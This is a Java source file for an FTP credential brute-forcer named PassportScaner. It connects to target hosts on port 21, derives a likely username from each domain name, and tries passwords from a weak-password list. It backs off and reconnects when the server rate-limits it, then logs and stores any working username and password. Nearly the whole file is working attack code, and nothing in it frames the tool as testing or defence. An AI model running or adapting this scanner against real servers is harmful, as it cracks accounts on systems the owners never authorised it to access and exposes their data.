package jude.java.money.scan;

import java.io.BufferedReader;
import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.net.InetAddress;
import java.net.Socket;
import java.net.SocketException;
import java.net.SocketTimeoutException;
import java.net.UnknownHostException;
import java.util.ArrayList;
import java.util.Date;

import jude.java.money.beans.ScanFtp;
import jude.java.money.provide.Provider;
import jude.java.money.provide.impl.WeakPasswordProvider;
import jude.java.money.spring.Services;
import jude.java.money.task.BaseTask;
import jude.java.money.task.TaskContext;
import jude.java.util.Utils;

import org.apache.commons.lang.StringUtils;

public class PassportScaner extends BaseTask<ScanFtp> {
	
	private static final int TIMEOUT = 10000;
	private static final int RETRY = 30;
	
	private static final int CORRECT_USER_AND_PASSWORD = 1;
	private static final int INCORRECT_USER = 2;			//不允许此用户, 或者需要SSL
	private static final int INCORRECT_PASSWORD = 3;
	private static final int TOO_FAST = 4;
	private static final int UNEXPECTED_CODE = 5;
	private static final int CLOSED = 6;
	
	private final String[] USERNAMES = {null};	//, "admin", "root"
	private WeakPasswordProvider passwordProvider;
//	private BufferedReader reader;
//	private BufferedWriter writer;
	private byte[] buffer;
	private int retry;
	private int level;
	
	private static final ArrayList<String> IGNORE_DOMAINS = new ArrayList<String>();
	static {
		IGNORE_DOMAINS.add("www");
		IGNORE_DOMAINS.add("blog");
		IGNORE_DOMAINS.add("blogs");
		IGNORE_DOMAINS.add("bbs");
		IGNORE_DOMAINS.add("cn");
		IGNORE_DOMAINS.add("edu");
		IGNORE_DOMAINS.add("org");
		IGNORE_DOMAINS.add("com");
		IGNORE_DOMAINS.add("net");
		IGNORE_DOMAINS.add("news");
		IGNORE_DOMAINS.add("games");
		IGNORE_DOMAINS.add("co");
		IGNORE_DOMAINS.add("us");
	}
	
	public PassportScaner(Provider<ScanFtp> provider, int level) {
		super(provider);
		this.level = level;
		passwordProvider = new WeakPasswordProvider(level);
		buffer = new byte[4096];
	}

	@Override
	protected void execute(ScanFtp site) {
		if (site.hasScanned(level))
			return;
		System.out.println("------------ " + site.getHost() + " --------------");
		retry = 0;
//		int interval = 0;
		site.setState(ScanFtp.STATE_SCANNING);
		site.setScanTime(new Date());
		TaskContext.signal(1, site.getHost());
		try {
			String host = site.getHost();
//			int tries = 0;
			Socket socket = getConnection(null, host);
			if (socket == null) {
				site.setState(ScanFtp.STATE_CONNECT);
				return;
			}
			retry = 0;
			boolean found = false;
			String userName = getUserName(host);
			USERNAMES[0] = userName;
			boolean kicked = false;
			boolean incorrectUser = false;
			out:
			for (int i=0; i<USERNAMES.length; i++) {
				userName = USERNAMES[i];
				if (userName == null)
					continue;
				incorrectUser = false;
				passwordProvider.reset(userName);
				String password, last = null;
				int uretry = 0, pretry = 0;
				while ((password = passwordProvider.get()) != null) {
					if (password == null || password.length() <= 3 || password.length() > 15)
						continue;
					try {
						if (password.equals(last)) {
							pretry ++;
						} else {
							pretry = 0;
							last = password;
						}
						if (pretry >= 3)	//同一密码不允许重试超过3次
							continue;
						uretry ++;
						int c = scan(socket, userName, password, true);
						if (c == CORRECT_USER_AND_PASSWORD) {
							site.setUsr(userName);
							site.setPwd(password);
							found = true;
							System.out.println("\t\t\t:++++++ ftp://" + userName + ":" + password + "@" + host + " ++++++");
							break out;
						} else if (c == INCORRECT_USER) {
							System.out.println("incorrect user: " + userName);
							incorrectUser = true;
							break;	//next user name
						} else if (c == TOO_FAST || c == CLOSED) {
							if (uretry == 1) {		//第一次尝试就被关闭, 不再重试
								kicked = true;
								break out;
							}
//							System.out.println("try too fast or times limited");
							Utils.sleep(10000);
							socket = getConnection(socket, host);
							passwordProvider.back();
//						} else if (c == UNEXPECTED_CODE) {
//							Utils.sleep(1000);
//							socket = getConnection(socket, host);
//							passwordProvider.back();
						}
						if (socket != null) {
							Utils.sleep(1000);
							continue;
						}
					} catch (UnknownHostException e) {
//						System.out.println("incorrect host: " + host);
						break out;
					} catch (SocketException e) {
//						e.printStackTrace();
						Utils.sleep(10000);
//						Utils.sleep(interval);
					} catch (SocketTimeoutException e) {
						System.out.println("timeout: " + userName + ":" + password);
						Utils.sleep(10000);
					} catch (IOException e) {
						e.printStackTrace();
						Utils.sleep(10000);
					}
//					if (retry > RETRY) {
//						kicked = true;
//						System.out.println("tried too many times for " + host);
//						break out;
//					}
//					Utils.sleep(10000);
					socket = getConnection(socket, host);
					if (socket == null) {
						kicked = true;
						break out;
					}
//					Utils.sleep(10000);
				}
			}
			if (incorrectUser)
				site.setState(ScanFtp.STATE_USER);
			else if (kicked)
				site.setState(ScanFtp.STATE_DENEY);
			else
				site.setState(found ? ScanFtp.STATE_FTP : ScanFtp.STATE_NOT_FOUND);
			close(socket);
		} finally {
			site.scanned(level);
			Services.getScanService().update(site);
		}
	}
	
	private void close(Socket socket) {
		if (socket != null) {
			try {
				socket.close();
			} catch (IOException e) {
			}
		}
	}

	private Socket getConnection(Socket current, String host) {
		try {
			retry ++;
			if (retry > RETRY) {
				return null;
			}
			close(current);
			InetAddress addr = InetAddress.getByName(host);
//			addr.get
			Socket socket = new Socket(addr, 21);
			socket.setSoTimeout(TIMEOUT);
//			reader = new BufferedReader(new InputStreamReader(socket.getInputStream(), "ISO-8859-1"));
//			writer = new BufferedWriter(new OutputStreamWriter(socket.getOutputStream(), "ISO-8859-1"));
			int code = getReplyCode(socket, 220, "connect");
			if (code == 220) {
				return socket;
			}
			System.out.println("invalid response: " + host);
		} catch (IOException e) {
		}
		return null;
	}
	
	private int scan(Socket socket, String usr, String pwd, boolean retry) throws UnknownHostException, SocketException, IOException {
		System.out.println("\t" + usr + "@" + pwd);
//		writer.write("user " + usr + "\r\n");
		String msg = "user " + usr + "\r\n";
		int reply = interactive(socket, msg, 331);
		switch (reply) {
		case 331:
			//need password
			break;
		case 530:
			return INCORRECT_USER;
		case 421:
			return TOO_FAST;
		case -1:
			return CLOSED;
		default:
			if (retry) {
				Utils.sleep(1000);
				return scan(socket, usr, pwd, false);
			}
			System.out.println(reply + ": unexpect reply code of 'user " + usr);
			return UNEXPECTED_CODE;
		}
		
		Utils.sleep(1000);
//		writer.write("pass " + pwd + "\r\n");
		msg = "pass " + pwd + "\r\n";
		reply = interactive(socket, msg, 530);
		if (reply == 331) {
			reply = interactive(socket, msg, 530);
		}
		switch (reply) {
		case 530:
			return INCORRECT_PASSWORD;
		case 230:
			return CORRECT_USER_AND_PASSWORD;
		case 421:
			return TOO_FAST;
		case -1:
			return CLOSED;
		case 503:
			if (retry){
				Utils.sleep(1000);
				return scan(socket, usr, pwd, false);
			}
			//else output
		default:
			System.out.println(reply + ": unexpect reply code of 'pass " + pwd);
		}
		return UNEXPECTED_CODE;
	}
	
	/** 交互 */
	private int interactive(Socket socket, String msg, int expect) throws IOException {
		OutputStream out = socket.getOutputStream();
		out.write(msg.getBytes());
		out.flush();
		Utils.sleep(500);
		int reply = getReplyCode(socket, expect, msg);
		return reply;
	}
	
/*	private boolean isReplyCode(Socket socket, int code) throws IOException {
		int c = getReplyCode(socket);
		if (c != code) {
			System.out.println("reply code is " + c + ", not " + code);
		}
		return getReplyCode(socket) == code;
	}
*/	
	private int getReplyCode(Socket socket, int expect, String cmd) throws IOException {
		InputStream in = socket.getInputStream();
		int n = in.read(buffer);
		if (n > 3) {
			BufferedReader reader = new BufferedReader(new InputStreamReader(new ByteArrayInputStream(buffer, 0, n), "ISO-8859-1"));
			int code = 0;
			String line;
			while ((line = reader.readLine()) != null) {
				if (line.length() > 3) {
					int c =  Utils.getInteger(line.substring(0, 3), -1);
					if (c > 0) {
						if (c == expect)
							return c;
						if (c == 421)
							return 421;
						if (code > 0 && c != code) {
							if (cmd != null)
								System.out.println(cmd);
							System.out.println("response with different code : " + c + "/" + code);
						}
						code = c;
					}
				}
			}
			if (code == 0) {
				if (cmd != null)
					System.out.println(cmd);
				System.out.println(n + "\t" + new String(buffer, 0, n - 2, "UTF-8"));
			}
			return code;
		}
		if (n == -1)
			return -1;
		System.out.println("length: " + n);
		return 0;
	}
/*	private int getReplyCode(Socket socket) throws IOException {
		InputStream in = socket.getInputStream();
		int n = in.read(buffer);
		if (n > 3) {
			BufferedReader reader = new BufferedReader(new InputStreamReader(new ByteArrayInputStream(buffer, 0, n), "ISO-8859-1"));
			String resp = null;
			String line;
			while ((line = reader.readLine()) != null) {
				if (line.length() > 3)
					resp = line;
			}
			if (resp != null) {
				return Utils.getInteger(resp.substring(0, 3), 0);
			}
			return getReplyCode(n);
		}
		System.out.println("\tlength: " + n);
		return 0;
	}
	
	private int getReplyCode(int n) {
		String s = new String(buffer, 0, 3);
		int code = Utils.getInteger(s, 0);
		if (code == 0){
			System.out.println("\tresponse: " + new String(buffer, 0, n));
		}
		return code;
	}
*/	
	private String getUserName(String host) {
		if (host == null || host.matches("[\\d\\.]*"))
			return null;
		String[] ss = StringUtils.split(host, '.');
		String name = null;
		if (ss.length == 2) {
			name = ss[0];
		} else {
			ss[ss.length - 1] = null;
			for (int i = 0; i < ss.length; i++) {
				if (ss[i] == null || ss[i].length() <= 2)
					continue;
				if (IGNORE_DOMAINS.contains(ss[i]))
					continue;
				if (Utils.getInteger(ss[i], 0) > 0)
					continue;
				name = ss[i];
				break;
			}
		}
		if (name != null && name.length() > 10) {
			return name.substring(0, 8);
		}
		return name;
	}
}
